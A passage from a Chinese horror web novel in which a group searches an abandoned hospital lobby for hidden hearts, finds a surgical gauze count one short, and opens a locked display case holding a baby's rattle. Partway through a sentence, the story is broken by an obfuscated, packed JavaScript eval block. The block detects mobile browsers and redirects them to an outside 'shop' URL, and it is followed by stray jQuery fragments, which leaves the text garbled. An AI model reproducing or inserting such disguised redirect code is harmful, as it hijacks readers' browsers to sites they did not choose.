苏婉盯着看了三秒，然后把相机插回腰包侧袋里，转身往里走。
可能是光线问题。
她这样想，脚步没停。
导诊台那边。
陈宇蹲在台侧，手电顶着台底，把那道窄缝从左往右扫了一遍，又从右往左扫回来。
台底是空的。
隔板之间留着个垃圾槽，里面积了一层灰，碎纸片，一个褪色的挂号夹边角，还有一些说不清是什么的干燥黑色块状物。
他把手伸进去，沿着底部往靠近隔板的位置摸。
摸到了一个硬物。
卡在两块隔板之间，不好使劲。
他把拇指抵着左边，食指勾住右边，同时用力往外抠。
出来了。
他站起身，把那颗心脏握在掌心里。
震动感跟第一颗一模一样。
他走到心电图机前，把心脏对准第二个凹槽，手腕往下压。
“咔哒。”
第二条荧光红线亮了。
深红色往外漫了一圈，机器的“滴”声频率快了一档。
苏小小站在旁边，手往袖口里缩了缩。
“这声音越来越密了。”
她看着屏幕说道。
“咋感觉这机器现在……真的有心跳一样。”
“本来就是设计成这样的。”
苏婉走过来站到她旁边。
“我知道是设计的。”
苏小小皱皱眉头。
“就是这感觉很难受，跟真的似的。”
说完往后退了半步，悄悄远离了那台机器。
右侧挂号区。
孙雪走到窗口台面前，低下头，往底部的抽屉格挨个检查。
第一格，空的。
第二格，卡**，掰了一下，没动。
第三格，开了一条缝，里头是一叠废旧挂号单，黏在一起，翻不开。
她伸手往挂号单后面摸，指尖触到了一块布料。
她把东西拽出来，放到手电光下看。
一块干硬的纱布，包着一颗心脏，包法很随意，就是往里一塞。
“第三颗。”
她开口递给赵彦。
赵彦接住，往旁边一搁。
孙雪往下一格摸。
这格开得顺，但里面盖着一个生锈的文件夹，压着下面所有东西。
她把文件夹挪到一边。
第四颗直接露出来了，边角是硅胶那种暗红色，一半在外头。
“第四颗。”
她把两颗都递给赵彦，然后停在那里，没动。
手还伸在那格抽屉里。
“孙雪？”
赵彦扭头。
“有东西。”
她把里面的东西拽出来。
是一叠纸，折边已经泛黄。
她摊开，把手电光压过去，从抬头往下读。
“术中纱布计数单。”
她停了一下，继续往下读。
“纱布共用……十八块。”
又停了一下。
“术后收回……”
“十七块。”
赵彦没说话。
张佳怡从门口转过头，视线落在孙雪手里那张纸上，没吭声。
孙雪的手指停在那行数字上。
十八减十七。
少了一块。
就是少了一块。
她的指尖轻轻压了一下纸面，沿着那行数字的边缘描了一下。
赵彦走到心电图机前，第三颗对准凹槽，往下压。
“咔哒。”
第四颗紧跟着。
“咔哒。”
机器声密了一倍。
屏幕上那条线密密攒着，波峰一个挨一个，整条都在抖。
大厅气温骤然往下掉了一截。
王大彪吐了一口气，白雾清清楚楚飘出来了。
苏小小把两臂抱紧。
“冷。”
就一个字，脱口而出，她自己都没意识到什么时候开口的。
苏婉扭头看她。
“你没事吧？”
“我就感觉冷。”
苏小小摇摇头。
苏婉伸手，悄悄抓住了苏小小的手腕。
苏小小往苏婉身边靠了靠，没说话。
但她的视线在动。
不是主动扫的那种，更像是眼珠子自己偏过去了，落到大厅某个方向。
“小小。”
苏婉压低声音说道。
“嗯？”
苏小小低头看了一眼自己手腕被苏婉握住，眨了一下眼睛。
“我没事。”
林清悦停在大厅正中央。
没有人叫她停，她脚步就止住了，站在原地。
她像是**控一般闭上眼睛。
手里那个罗盘的指针不自觉的开始高速旋转，针尖抖得厉害。
像是试图同时往四个方向冲，但哪个方向都稳不住。
翻东西的动静一个一个停掉了。
王大彪最先注意到她，嘴动了一下，把话咽了回去。
大厅里慢慢安静下来。
沉了大概有五六秒。
林清悦开口。
“熙熙在哭。”
所有人的目光看向她。
林松站在她侧边两步开外，看了那个方向一眼。
林清悦的眼睛还闭着，右手握着罗盘，缓缓往左转。
指针跟着偏。
一点，两点，偏到大约左侧四十五度角
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269132|194611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的位置，针尖猛地往下一顿。
不抖了。
稳住了。
林清悦睁开眼睛。
“那里。”
她的视线落在大厅左侧角落。
所有人跟着转头。
角落靠墙位置，是一个透明陈列柜。
以前应该是医院展示母婴用品的地方，现在柜子里的东西大半碎了或腐烂了。
但最顶层的搁板上，放着一个拨浪鼓。
粉色的，褪色很严重，鼓面上的图案早模糊了，木柄一端缠着一圈红线，磨损得差不多了。
搁板上积着厚厚的灰。
但那圈红线，却是新的。
走到陈列柜前，柜门上挂着一把锁。
四位数密码，锁面黑色，表面有刮痕，看不出被开过多少次。
苏小小把锁拿起来，翻来覆去看了一下。
“密码锁。”
她往后退了半步，抬头往四周扫了一圈。
“这谁知道密码啊？”
“不知道就猜呗。”
王大彪叉着腰走过来，看了一眼锁。
“1234?”
“你能不能专业一点。”
赵彦扫了他一眼。
大厅里视线在几个人脸上轮了一圈，最后落到陈宇身上。
陈宇站在陈列柜旁边，低头看着那把锁。
然后他把手伸进外套内侧，把那张照片取出来。
正面是熙熙的脸，刚满月，笑得很好看。
他把照片翻到背面，“熙熙”两个字在上面。
他盯着照片边角，把手电光压过去，看到了那行用蓝色签字笔写的极小的字。
“熙熙出生日期：2025年3月15日。”
大厅里安静了一下。
陈宇把照片收起来，伸手，握住密码锁的锁面。
“生日。”
他一格一格拨动密码盘。
“零。”
“三。”
“一。”
“五。”
最后一格转到位，他把锁往下扯。
“咔嗒——”
锁扣弹开。
苏小小站在柜门前。
她深吸了一口气，伸手把柜门拉开。
手往最顶层探过去，一点一点靠近那个木柄。
她的手指在颤。
也可能是意识到在颤的时候，才发现从走过来的时候就开始颤了。
“熙熙……”
她听见自己小声说了这两个字。
没有想要开口，就是说出来了。
手指触碰到木柄的一瞬间。
“啊！”
大厅里，无数婴儿的啼哭声从四面八方同时炸开......